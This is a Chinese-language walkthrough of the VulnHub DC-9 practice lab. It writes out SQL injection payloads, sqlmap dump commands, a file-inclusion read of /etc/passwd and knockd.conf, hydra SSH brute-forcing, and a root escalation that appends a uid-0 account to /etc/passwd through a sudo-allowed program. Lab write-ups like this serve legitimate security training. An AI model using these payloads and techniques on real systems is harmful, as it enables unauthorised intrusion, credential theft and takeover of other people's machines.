vulnhub靶场,DC-9

vulnhub靶场,DC-9

环境准备

攻击机:kali(192.168.58.130)
靶机:DC-9(192.168.58.155)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
vulnhub靶场,DC-9

信息收集

使用arp-scan确定目标靶机
vulnhub靶场,DC-9
确定目标靶机IP为192.168.58.155
使用nmap扫描查看目标靶机端口开放情况
vulnhub靶场,DC-9
可以看到扫描结果是开放了22、80端口,但是22端口被过滤了
浏览器访问目标靶机80端口
vulnhub靶场,DC-9
使用浏览器插件wappalyzel查看网站基本信息
vulnhub靶场,DC-9
点击search页,发现是一个查找的功能
vulnhub靶场,DC-9
有输入的位置就有可能存在SQL注入,输入单引号试试
vulnhub靶场,DC-9
页面没报错,但是发现当输入mary’ and sleep(5)#时,页面查询会延迟5秒
vulnhub靶场,DC-9
说明这里是存在SQL注入,并且为字符型,闭合方式为’#

渗透过程

前面已经知道查询的页面是存在SQL注入漏洞,但是注入的位置不在URL上,搜索的内容是以POST的形式提交上去的

手工注入

判断字段数

search=mary' order by 5#    #回显正常
search=mary' order by 6#    #回显正常
search=mary' order by 7#    #回显错误

所以判断字段数为6
查看回显位置

search=ma' union select 1,2,3,4,5,6#

vulnhub靶场,DC-9
查看当前库

search=ma' union select 1,2,3,4,5,database()#

vulnhub靶场,DC-9
查看Staff库下的所有表

search=ma' union select 1,2,3,4,5,(select group_concat(table_name) from information_schema.tables where table_schema=database())#

vulnhub靶场,DC-9
查看Users表下的所有字段

search=ma' union select 1,2,3,4,5,(select group_concat(column_name) from information_schema.columns where table_name='Users')#

vulnhub靶场,DC-9
查看Username,Password字段的值

search=ma' union select 1,2,3,4,5,(select group_concat(concat_ws('~',Username,Password)) from Users)#

vulnhub靶场,DC-9

使用sqlmap进行自动化注入

查看所有库

sqlmap -r /root/桌面/sql  --dbs --batch

vulnhub靶场,DC-9
查看Staff库下的所有表

sqlmap -r /root/桌面/sql  -D "Staff" --tables --batch

vulnhub靶场,DC-9
查看Users表下的所有字段

sqlmap -r /root/桌面/sql  -D "Staff" -T "Users" --columns --batch

vulnhub靶场,DC-9
查看Username,Password字段的值

sqlmap -r /root/桌面/sql  -D "Staff" -T "Users" -C "Username,Password" --dump --batch

vulnhub靶场,DC-9
成功获得登入的账号和密码,但是密码使用了md5加密,找了很多常规的md5解密网站不是解不出来就是要钱,看了别人的教程,别人的sqlmap能直接将密码解密出来,我试了几遍就是不行,但是最后终于找到了一个解密网站

解密网站:https://hashes.com/en/decrypt/hash

vulnhub靶场,DC-9
使用admin:transorbital1登入网站后台
vulnhub靶场,DC-9
登入成功,发现下面有个显示,说文件不存在,所以这里极有可能存在一个文件包含的漏洞
包含密码文件试试
vulnhub靶场,DC-9
成功包含
前面信息收集可以看到网站的web容器为apache,apache的日志文件默认路径为/var/log/apache2/access.log,可以尝试写入一句话木马然后去包含日志文件去拿到webshell,但是发现是不行的,应该是改了apache的默认日志文件路径
前面进行端口扫描的时候,发现扫描到了22端口但是说被过滤了,可能是因为安装了端口敲门服务(端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。),端口敲门服务默认的配置文件路径为:/etc/knockd.conf,结合文件包含漏洞查看其内容
vulnhub靶场,DC-9
知道了端口号,需要进行“敲门”,使用nmap即可
vulnhub靶场,DC-9
然后再查看ssh服务是否能够正常利用
vulnhub靶场,DC-9
OK,现在22端口可以正常使用了,前面使用sqlmap进行自动化注入时,发现还有一个库为users,查看其内容

sqlmap -r /root/桌面/sql  -D "users" --tables --batch

vulnhub靶场,DC-9
查看UserDetails表下的所有字段

sqlmap -r /root/桌面/sql  -D "users" -T "UserDetails" --columns --bacth

vulnhub靶场,DC-9
查看username,password字段的值

sqlmap -r /root/桌面/sql  -D "users" -T "UserDetails" -C "username,password" --dump --batch

vulnhub靶场,DC-9
获得一些员工的账号和密码,将这些账号和密码分别放在两个不同的文件里
vulnhub靶场,DC-9
vulnhub靶场,DC-9

使用hydra进行爆破

hydra -L user.txt -P pass.txt 192.168.58.155 ssh -V

vulnhub靶场,DC-9
vulnhub靶场,DC-9
成功获得三个账号密码,其中janitor为管理员用户
使用janitor进行ssh远程连接
vulnhub靶场,DC-9
查看当前目录下的文件
vulnhub靶场,DC-9
发现有一个文件.secrets-for-putin,下面有一个密码文件,查看其内容
vulnhub靶场,DC-9
然后将这些密码也加入到密码文件pass.txt里面
vulnhub靶场,DC-9
再次使用hydra进行暴力破解

hydra -L user.txt -P pass.txt 192.168.58.155 ssh -V

vulnhub靶场,DC-9
成功获得fredf用户的密码
使用fredf用户进行ssh远程连接
vulnhub靶场,DC-9

权限提升

使用sudo命令查看fredf用户可以哪些具有root权限的命令
vulnhub靶场,DC-9
在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序
vulnhub靶场,DC-9
里面有一个test.py,查看其内容
vulnhub靶场,DC-9
kali使用openssl工具先创建一个本地的加密用户

openssl passwd -1 -salt icepeak 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密,默认选项 加点盐

vulnhub靶场,DC-9
回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为getflag的文件(这个文件名可以自定义)

echo 'icepeak:$1$icepeak$zytcNFjPRKx6SrTA7G3Xe1:0:0::/root:/bin/bash' >> /tmp/getflag

vulnhub靶场,DC-9
使用sudo用那个test程序来运行这个文件

sudo ./test /tmp/getflag /etc/passwd

vulnhub靶场,DC-9
使用su命令切换到icepeak用户
vulnhub靶场,DC-9
成功获得root权限,切换到根目录,查看当前路径下的文件,成功获得flag,DC-9靶机渗透结束
vulnhub靶场,DC-9

上一篇:10 时间相加


下一篇:nexus AD 集成配置